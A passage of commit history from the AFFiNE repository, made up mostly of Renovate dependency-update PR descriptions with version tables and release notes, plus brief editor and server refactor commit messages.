| [@storybook/addon-links](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/links) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/links)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-links/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-links/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-links/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-links/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-links/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-mdx-gfm](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/gfm) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/gfm)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2faddon-mdx-gfm/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-mdx-gfm/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-mdx-gfm/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-mdx-gfm/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-mdx-gfm/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react](https://redirect.github.com/storybookjs/storybook/tree/next/code/renderers/react) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/renderers/react)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2freact/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/react-vite](https://redirect.github.com/storybookjs/storybook/tree/next/code/frameworks/react-vite) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/frameworks/react-vite)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/@storybook%2freact-vite/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2freact-vite/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2freact-vite/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2freact-vite/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2freact-vite/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [node](https://nodejs.org) ([source](https://redirect.github.com/nodejs/node)) | `22.13.1` -> `22.14.0` | [![age](https://developer.mend.io/api/mc/badges/age/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/node-version/node/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/node-version/node/v22.13.1/v22.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |  | minor |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli)) | [`8.5.3` -> `8.5.4`](https://renovatebot.com/diffs/npm/storybook/8.5.3/8.5.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/storybook/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/storybook/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/storybook/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/storybook/8.5.3/8.5.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |

---

### Release Notes

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-essentials)</summary>

### [`v8.5.4`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#854)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...v8.5.4)

-   Addon A11y: Make Vitest Axe optional - [#&#8203;30442](https://redirect.github.com/storybookjs/storybook/pull/30442), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   Builder-Vite: Fix allowedHosts handling for custom hosts - [#&#8203;30432](https://redirect.github.com/storybookjs/storybook/pull/30432), thanks [@&#8203;JSMike](https://redirect.github.com/JSMike)!
-   Builder-Vite: Fix resolve id warning - [#&#8203;30511](https://redirect.github.com/storybookjs/storybook/pull/30511), thanks [@&#8203;valentinpalkovic](https://redirect.github.com/valentinpalkovic)!
-   React: Update react-docgen-typescript to fix CI hanging issues - [#&#8203;30422](https://redirect.github.com/storybookjs/storybook/pull/30422), thanks [@&#8203;yannbf](https://redirect.github.com/yannbf)!

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/addon-links)</summary>

### [`v8.5.4`](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

</details>

<details>
<summary>storybookjs/storybook (@&#8203;storybook/react-vite)</summary>

### [`v8.5.4`](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.5.3...0956d5f6c763a262b0965b2235e1cc7f1eb998ae)

</details>

<details>
<summary>nodejs/node (node)</summary>

### [`v22.14.0`](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

[Compare Source](https://redirect.github.com/nodejs/node/compare/v22.13.1...v22.14.0)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNjQuMSIsInVwZGF0ZWRJblZlciI6IjM5LjE2NC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-11 12:46:53 +00:00
Saul-Mirone
6b78d2dcf2 refactor(editor): reduce getService (#10100) 2025-02-11 12:26:02 +00:00
Saul-Mirone
dbf0f9dc20 refactor(editor): remove global types in edgeless (#10092)
Closes: [BS-2553](https://linear.app/affine-design/issue/BS-2553/remove-global-types-in-edgeless)
2025-02-11 12:09:44 +00:00
doodlewind
3062bd0771 refactor(editor): migrate viewport renderer to extension (#10094)
This removes `renderer.setHost(host)`
2025-02-11 11:37:31 +00:00
Brooooooklyn
c6932a8ae4 chore: remove @affine/workers (#10084)
It was moved to https://github.com/toeverything/affine-workers
2025-02-11 11:17:59 +00:00
Saul-Mirone
39eb8625d6 refactor(editor): remove block models global type (#10086) 2025-02-11 11:00:57 +00:00
darkskygit
a725df6ebe feat(server): basic context api (#10056)
fix CLOUD-97
fix CLOUD-98
2025-02-11 10:45:01 +00:00
zzj3720
a47369bf9b feat(editor): ai panel supports displaying table blocks (#10091) 2025-02-11 10:28:56 +00:00
fengmk2
7840e0f900 fix(server): don't set the wrong context on logger (#10088)
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/hTwOityLamd4hitrae7M/c84ca60c-2837-43ba-a32c-0db1a87a5062.png)
2025-02-11 10:12:56 +00:00
zzj3720
4b8ff6b196 fix(editor): table block cell width adjust (#10087) 2025-02-11 09:56:25 +00:00
Saul-Mirone
652865c7cf refactor(editor): remove global types in model (#10082)
Closes: [BS-2249](https://linear.app/affine-design/issue/BS-2249/remove-global-types-in-model)

```ts
// before
matchFlavours(model, ['affine:page']);
// after
matchFlavours(model, [PageBlockModel]);
```
2025-02-11 08:18:57 +00:00
renovate
64bb6c5a71 chore: bump up all non-major dependencies (#10066)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@capgo/inappbrowser](https://redirect.github.com/Cap-go/capacitor-inappbrowser) | [`7.2.15` -> `7.2.16`](https://renovatebot.com/diffs/npm/@capgo%2finappbrowser/7.2.15/7.2.16) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@capgo%2finappbrowser/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@capgo%2finappbrowser/7.2.15/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@capgo%2finappbrowser/7.2.15/7.2.16?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@react-email/components](https://redirect.github.com/resend/react-email) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/components)) | [`0.0.32` -> `0.0.33`](https://renovatebot.com/diffs/npm/@react-email%2fcomponents/0.0.32/0.0.33) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@react-email%2fcomponents/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@react-email%2fcomponents/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@react-email%2fcomponents/0.0.32/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@react-email%2fcomponents/0.0.32/0.0.33?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@tailwindcss/postcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/@tailwindcss-postcss)) | [`4.0.5` -> `4.0.6`](https://renovatebot.com/diffs/npm/@tailwindcss%2fpostcss/4.0.5/4.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@tailwindcss%2fpostcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@tailwindcss%2fpostcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@tailwindcss%2fpostcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@tailwindcss%2fpostcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.8` -> `1.1.9`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.8/1.1.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.8/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.8/1.1.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [cloudflare/wrangler-action](https://redirect.github.com/cloudflare/wrangler-action) | `v3.13.1` -> `v3.14.0` | [![age](https://developer.mend.io/api/mc/badges/age/github-tags/cloudflare%2fwrangler-action/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/github-tags/cloudflare%2fwrangler-action/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/github-tags/cloudflare%2fwrangler-action/v3.13.1/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/cloudflare%2fwrangler-action/v3.13.1/v3.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | action | minor |
| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`17.0.2` -> `17.0.3`](https://renovatebot.com/diffs/npm/happy-dom/17.0.2/17.0.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/17.0.2/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/17.0.2/17.0.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [jotai](https://redirect.github.com/pmndrs/jotai) | [`2.11.3` -> `2.12.0`](https://renovatebot.com/diffs/npm/jotai/2.11.3/2.12.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai/2.11.3/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai/2.11.3/2.12.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.474.0` -> `^0.475.0`](https://renovatebot.com/diffs/npm/lucide-react/0.474.0/0.475.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [mdast-util-gfm-footnote](https://redirect.github.com/syntax-tree/mdast-util-gfm-footnote) | [`2.0.0` -> `2.1.0`](https://renovatebot.com/diffs/npm/mdast-util-gfm-footnote/2.0.0/2.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/mdast-util-gfm-footnote/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/mdast-util-gfm-footnote/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/mdast-util-gfm-footnote/2.0.0/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/mdast-util-gfm-footnote/2.0.0/2.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.1.2` -> `5.2.0`](https://renovatebot.com/diffs/npm/nestjs-cls/5.1.2/5.2.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.1.2/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.1.2/5.2.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [once_cell](https://redirect.github.com/matklad/once_cell) | `1.20.2` -> `1.20.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [postcss](https://postcss.org/) ([source](https://redirect.github.com/postcss/postcss)) | [`8.5.1` -> `8.5.2`](https://renovatebot.com/diffs/npm/postcss/8.5.1/8.5.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/postcss/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/postcss/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/postcss/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/postcss/8.5.1/8.5.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [react-email](https://redirect.github.com/resend/react-email) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/react-email)) | [`3.0.6` -> `3.0.7`](https://renovatebot.com/diffs/npm/react-email/3.0.6/3.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-email/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-email/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-email/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-email/3.0.6/3.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.5` -> `4.0.6`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.5/4.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.5` -> `4.0.6`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.5/4.0.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.5/4.0.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typescript-eslint](https://typescript-eslint.io/packages/typescript-eslint) ([source](https://redirect.github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint)) | [`8.23.0` -> `8.24.0`](https://renovatebot.com/diffs/npm/typescript-eslint/8.23.0/8.24.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typescript-eslint/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typescript-eslint/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typescript-eslint/8.23.0/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typescript-eslint/8.23.0/8.24.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [uniffi](https://mozilla.github.io/uniffi-rs) ([source](https://redirect.github.com/mozilla/uniffi-rs)) | `0.28` -> `0.29` | [![age](https://developer.mend.io/api/mc/badges/age/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |

---

### Release Notes

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.16`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7216-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.15...7.2.16)

</details>

<details>
<summary>resend/react-email (@&#8203;react-email/components)</summary>

### [`v0.0.33`](https://redirect.github.com/resend/react-email/blob/HEAD/packages/components/CHANGELOG.md#0033)

[Compare Source](https://redirect.github.com/resend/react-email/compare/@react-email/components@0.0.32...@react-email/components@0.0.33)

##### Patch Changes

-   Updated dependencies \[[`caa49b3`](https://redirect.github.com/resend/react-email/commit/caa49b3)]
-   Updated dependencies \[[`337ac4e`](https://redirect.github.com/resend/react-email/commit/337ac4e)]
-   Updated dependencies \[[`b44c937`](https://redirect.github.com/resend/react-email/commit/b44c937)]
    -   [@&#8203;react-email/render](https://redirect.github.com/react-email/render)[@&#8203;1](https://redirect.github.com/1).0.5
    -   [@&#8203;react-email/body](https://redirect.github.com/react-email/body)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/button](https://redirect.github.com/react-email/button)[@&#8203;0](https://redirect.github.com/0).0.19
    -   [@&#8203;react-email/code-block](https://redirect.github.com/react-email/code-block)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/code-inline](https://redirect.github.com/react-email/code-inline)[@&#8203;0](https://redirect.github.com/0).0.5
    -   [@&#8203;react-email/column](https://redirect.github.com/react-email/column)[@&#8203;0](https://redirect.github.com/0).0.13
    -   [@&#8203;react-email/container](https://redirect.github.com/react-email/container)[@&#8203;0](https://redirect.github.com/0).0.15
    -   [@&#8203;react-email/font](https://redirect.github.com/react-email/font)[@&#8203;0](https://redirect.github.com/0).0.9
    -   [@&#8203;react-email/head](https://redirect.github.com/react-email/head)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/heading](https://redirect.github.com/react-email/heading)[@&#8203;0](https://redirect.github.com/0).0.15
    -   [@&#8203;react-email/hr](https://redirect.github.com/react-email/hr)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/html](https://redirect.github.com/react-email/html)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/img](https://redirect.github.com/react-email/img)[@&#8203;0](https://redirect.github.com/0).0.11
    -   [@&#8203;react-email/link](https://redirect.github.com/react-email/link)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/markdown](https://redirect.github.com/react-email/markdown)[@&#8203;0](https://redirect.github.com/0).0.14
    -   [@&#8203;react-email/preview](https://redirect.github.com/react-email/preview)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/row](https://redirect.github.com/react-email/row)[@&#8203;0](https://redirect.github.com/0).0.12
    -   [@&#8203;react-email/section](https://redirect.github.com/react-email/section)[@&#8203;0](https://redirect.github.com/0).0.16
    -   [@&#8203;react-email/tailwind](https://redirect.github.com/react-email/tailwind)[@&#8203;1](https://redirect.github.com/1).0.4
    -   [@&#8203;react-email/text](https://redirect.github.com/react-email/text)[@&#8203;0](https://redirect.github.com/0).0.11

</details>

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.0.6`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#406---2025-02-10)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.5...v4.0.6)

##### Fixed

-   Revert change to no longer include theme variables that aren't used in compiled CSS ([#&#8203;16403](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16403))

</details>

<details>
<summary>toeverything/design (@&#8203;toeverything/theme)</summary>

### [`v1.1.9`](https://redirect.github.com/toeverything/design/compare/1.1.8...1.1.9)

[Compare Source](https://redirect.github.com/toeverything/design/compare/1.1.8...1.1.9)

</details>

<details>
<summary>cloudflare/wrangler-action (cloudflare/wrangler-action)</summary>

### [`v3.14.0`](https://redirect.github.com/cloudflare/wrangler-action/releases/tag/v3.14.0)

[Compare Source](https://redirect.github.com/cloudflare/wrangler-action/compare/v3.13.1...v3.14.0)

##### Minor Changes

-   [#&#8203;351](https://redirect.github.com/cloudflare/wrangler-action/pull/351) [`4ff07f4`](4ff07f4310) Thanks [@&#8203;Maximo-Guk](https://redirect.github.com/Maximo-Guk)! - Use wrangler outputs for version upload and wrangler deploy

##### Patch Changes

-   [#&#8203;350](https://redirect.github.com/cloudflare/wrangler-action/pull/350) [`e209094`](e209094e62) Thanks [@&#8203;Maximo-Guk](https://redirect.github.com/Maximo-Guk)! - Handle failures in createGitHubDeployment and createGitHubJobSummary

</details>

<details>
<summary>capricorn86/happy-dom (happy-dom)</summary>

### [`v17.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v17.0.3)

[Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v17.0.2...v17.0.3)

##### 👷‍♂️ Patch fixes

-   Fix bug where nested query selector is not returning the correct result when there are multiple matching selectorGroups - By **[@&#8203;betterqualityassuranceuser](https://redirect.github.com/betterqualityassuranceuser)** in task 1720

</details>

<details>
<summary>pmndrs/jotai (jotai)</summary>

### [`v2.12.0`](https://redirect.github.com/pmndrs/jotai/compare/v2.11.3...v2.12.0)

[Compare Source](https://redirect.github.com/pmndrs/jotai/compare/v2.11.3...v2.12.0)

</details>

<details>
<summary>lucide-icons/lucide (lucide-react)</summary>

### [`v0.475.0`](https://redirect.github.com/lucide-icons/lucide/releases/tag/0.475.0): New icons 0.475.0

[Compare Source](https://redirect.github.com/lucide-icons/lucide/compare/0.474.0...0.475.0)

#### New icons 🎨

